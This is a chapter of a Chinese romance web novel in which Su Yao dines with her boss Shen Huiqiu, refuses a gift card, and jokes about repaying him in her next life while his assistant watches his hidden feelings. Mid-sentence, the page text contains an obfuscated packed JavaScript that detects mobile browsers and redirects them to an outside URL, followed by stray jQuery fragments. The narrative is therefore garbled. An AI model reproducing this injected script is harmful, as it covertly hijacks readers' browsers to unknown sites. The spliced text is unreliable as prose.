苏药撇着嘴又给自己夹了一筷子虾仁。


    沈回秋看她，“怎么，对老牛吃嫩草有意见？”


    苏药摇头，“没意见啊，老牛吃嫩草多好，齐严比宁薇大八岁，我爹也比我家老佛爷大八岁，到现在宁薇早晨起来还得齐严给她穿衣服，我家老佛爷至今一个碗都没洗过，活的要多滋润有多滋润，我要是有那个命，我以后也巴不得找个乐意吃嫩草的老牛。”


    男人搭在桌上的手蜷缩了一下。


    苏药没注意，边嚼虾仁边发愁，“可是他们的情况不一样，没有感情基础，完全就是利益交换，这要是再老牛吃嫩草，阮欣肯定吃亏。”


    等阮欣毕业时江脉都三十了，只会比现在更老练，阮欣那种涉世未深的大小姐哪里会是对手。


    不过这也轮不到她操心。


    十几分钟后，服务员端了三碗粥进来，说是大厨新研制的，一碗养胃，一碗消食，一碗润燥，江少特地请他们品尝。


    润燥的给了宋池，养胃的给了沈回秋，最后一碗消食的给了她。


    就这察言观色的能力一看就是属狐狸的，再想想阮欣那个温顺柔弱的性子，未来怎么样还真不好说。


    苏药忍不住叹了口气，这才发现男人沉默得有些异常。


    她一顿，终于后知后觉的反应过来，这人也算是政治婚姻的受害者，现在提这种话题不是明摆着往男人的伤口上撒盐么。


    苏药瞬间就闭上了嘴，什么都别说，还是乖乖吃饭吧。


    吃到最后，六个菜几乎全进了她的肚子，连最后剩下的汤汁也和着米饭一起吃了，一点没给沈回秋浪费。


    不得不说，那碗消食粥派上了大用场。


    大厨又换了食材，酸酸甜甜的山楂清爽又解腻，只是把服务员惊得目瞪口呆，可能自从入职就没见过这么干净的盘子。


    后来也不知道服务员跟江脉都说了什么。


    江脉送他们出门时递给她一张黑金充值卡，说是以后想吃了随时可以来吃。


    苏药没要。


    江脉有些意外，问她是有什么不满意吗。


    苏药摇头，说很好，可是就算再好不适合她也没用。


    这种地方一看就不是她的主场，来一次知道是什么味道她就已经很满足了，来多了她自己都觉得别扭。


    何况拿人手短，吃人嘴软，别看只是一张卡，指不定后面能牵扯出多少麻烦来，还是算了吧。


    上了车，沈回秋问她，“为什么不拿着？”


    苏药窝在座位里打了个哈欠，“你比那张卡有用多了，有你在，我干嘛还去欠他的人情，我又不傻。”


    沈回秋问，“那你就不怕欠我的人情？”


    苏药闻言歪着脑袋想了几秒，突然一本正经的坐直了身体，“老大，咱俩好歹也认识这么久了，你怎么还问这种见外的问题。”


    男人抿起唇，看着竟像是被她给唬住了。


    苏药没绷住，自己先乐了出来，“我还以为你早习惯了呢。”


    沈回秋，“……”


    宋池忙移开了目光，想笑，又不敢笑。


    这感觉简直比被沈回秋喊进办公室劈头盖脸的骂一顿还让人难受。


    苏药倒是没注意到宋池此刻的痛苦，她正沾沾自喜难得让沈回秋吃了瘪。


    凑过去，笑得连虎牙都龇了出来，“我这就叫虱子多了不怕痒，反正已经欠了这么多，也不差这一点了。”


    她欠沈回秋的又何止是那点钱。


    苏爸爸说过，债好还，情难偿，钱总有还完的一天，人情却未必，所以别人对她的好她总是习惯加倍的还回去，怕的就是欠下人情债以后还不清。


    可唯独沈回秋，不管她怎么还，总觉得欠下的越来越多，多得根本看不到尽头。


    索性便也破罐破摔了。


    她耍赖道，“要是这辈子都还不完，就下辈子继续呗，你可不许给我加利息。”


    老话说，此生不相欠，来生不相见。


    可她欠了沈回秋这么多，下辈子肯定还是要见的吧。


    沈回秋看着她，眼底的光影虚虚实实，忽明忽暗，让人摸不着，看不清。


    苏药忍不住咬着舌尖笑，她这人应该是被她这种厚脸皮的行为刺激得不清，“老大，你喜欢猫还是喜欢狗？”


    沈回秋难得没跟上她的思路，“有关系？”


    苏药点头，“当然有啊，下辈子要是再见面，我就去你家当宠物，天天吃香的喝辣的，还不用工作，多好。”


    男人动了下嘴角，良久才从牙缝里挤出几个字，“出息呢，苏小姐。”


    苏药特理直气壮，“你什么时候见过我有这东西？”


    沈回秋，“……”


    半晌，苏药自己先摇了摇头，“狗还是算了，我可不想吃屎，猫又太娇气，老大你觉得鸟怎么样，我要是变成个鹦鹉还能天天陪你唠嗑。”


    沈回秋冷酷的回了她四个字，“不怎么样。”


    车里的气氛有些诡异，说低气压倒不像是低气压，但说轻松也实在算不上轻松。


    宋池一时也摸不准自家老板这到底是生气了还是没生气，于是小心翼翼的朝后视镜看了一眼。


    却在男人皱起的眉宇间看到了一抹分明的笑意。


    “苏小姐下辈子就这么不想当人？”


    苏药往后一仰，重新靠回了椅背上，掰着手指摆弄了几下，“当人也行，那我就给你当家人，不是沈嫡那样的，要是很亲密的那种家人，老大，你想要姐姐还是妹妹，不过这辈子你已经有非姐了，那我还是给你当妹妹吧，就天天粘着你，要亲亲抱抱举高高，还要骑大马，保证让你每天都生活的精彩缤纷。”


    说到最后直接把自己给逗乐了。


    沈回秋却一动不动，就这么安静的看着眼前喋喋不休的人。


    宋池很确定，这一刻沈回秋看向苏药的目光绝不是一个上司该有的，而是一个男人看着一个女人的目光。


    欲/望与克制混淆在一起。


    他本以为一辈子都不会在沈回秋的眼里出现，但是此刻，他却在这个人的眼里看到了一只正试图挣脱枷锁的兽。


    然而只是片刻的功夫，那巨兽就再次被镇压在了无尽的深渊里。


    男人像是被刚才的战斗耗尽了全部力气，疲惫的垂下眼，甚至没有发现他的窥视。


    宋池突然就想起了蒋非那晚问他的话，什么叫合适，什么又叫不合适呢？


    身份，地位，年龄，或者门当户对？


    以沈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092671|149341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回秋的身份是注定摆脱不了一场门当户对的联姻了，他甚至知道唐老爷子早已经物色好人选，只等着想办法说服沈回秋回去完成使命。


    但是这样的婚姻真的适合沈回秋吗？


    他现在就可以给出答案。


    他想不出还有谁会比苏药更适合沈回秋，至少目前他再想不出第二个人选。


    命运有时候就是这么神奇的东西，非要将两个天差地别毫不相关的人硬生生的凑在一起。


    明明看起来最不合适，却又偏偏最合适。


    几乎无解。


    宋池无奈的收回目光，默默叹了口气，或许就像蒋非说的吧。


    无解的问题，只能交给时间。


    沈回秋终于动了下僵硬的手指，开口，“看来苏小姐这是打定主意要赖上我了。”


    苏药忙不迭的点头，就是这么回事。


    反正不管当人，还是当宠物，她都安排得明明白白。


    男人挑眉，“那你就不怕我下辈子是个穷光蛋？”


    苏药茫然，“穷光蛋怎么了？”


    随即反应过来，“老大，做人得看开，你这辈子都这么有钱了，下辈子还不兴给别人点机会，再说，狗不嫌家贫，儿不嫌母丑，放心，我不会嫌弃你的。”


    宋池差点没握住方向盘。


    他没忍住再次朝后视镜看了一眼，男人正耷拉着眼皮不知道在想什么，嘴唇开阖间却无声的吐出了一个字。


    他认出来，沈回秋说的是，好。


    一个或许永远都不会被对方知道的回答，却也是此刻唯一能给自己的承诺。


    宋池心里猛的一紧。


    这种在理智与疯狂中不断挣扎的感觉他实在太过熟悉。


    就像当年的自己，他们这样的人都承载着太多来自命运的不公，他们唯一反抗命运的方式也只有将那本就残破的命运牢牢握在自己手里。


    可是现在他却清晰的感觉到，这个向来理智的男人此时已经站在了失控的边缘。


    再踏出去一步就是万丈深渊。


    但也或许那将是一条全新的路，脱离原本的轨迹，通往哪里全成了未知。


    未知，对于他们这样的人来说却往往是最致命的。


    这就是一场置之死地的赌博。


    赌赢了，获得新生。


    赌输了，便只能粉身碎骨，没有任何余地。


    而沈回秋手中的筹码，只有这个叫苏药的姑娘。


    他看得出来，这个小姑娘虽然总给人一种没心没肺很好说话的感觉，其实是个很有主意并且相当干脆的人。


    所以他才更不敢去想，如果继续任由沈回秋这么一意孤行下去，万一有一天这个小姑娘决定转身离开了，沈回秋又该怎么办。


    后半段路，车厢里突然就陷入了一片沉默。


    男人微阖上眼，没再开口。


    苏药只当他是累了。


    好在车很快就开回了小区。


    以前沈回秋只会把车停在小区门口，后来有一次她无意间念叨了一句最近小区里遭贼之后，停车的地方就改成了她家楼下。


    对于这种不动声色的小心思，苏药向来不会拒绝。


    因为这个时候的男人身上总会多些人情味。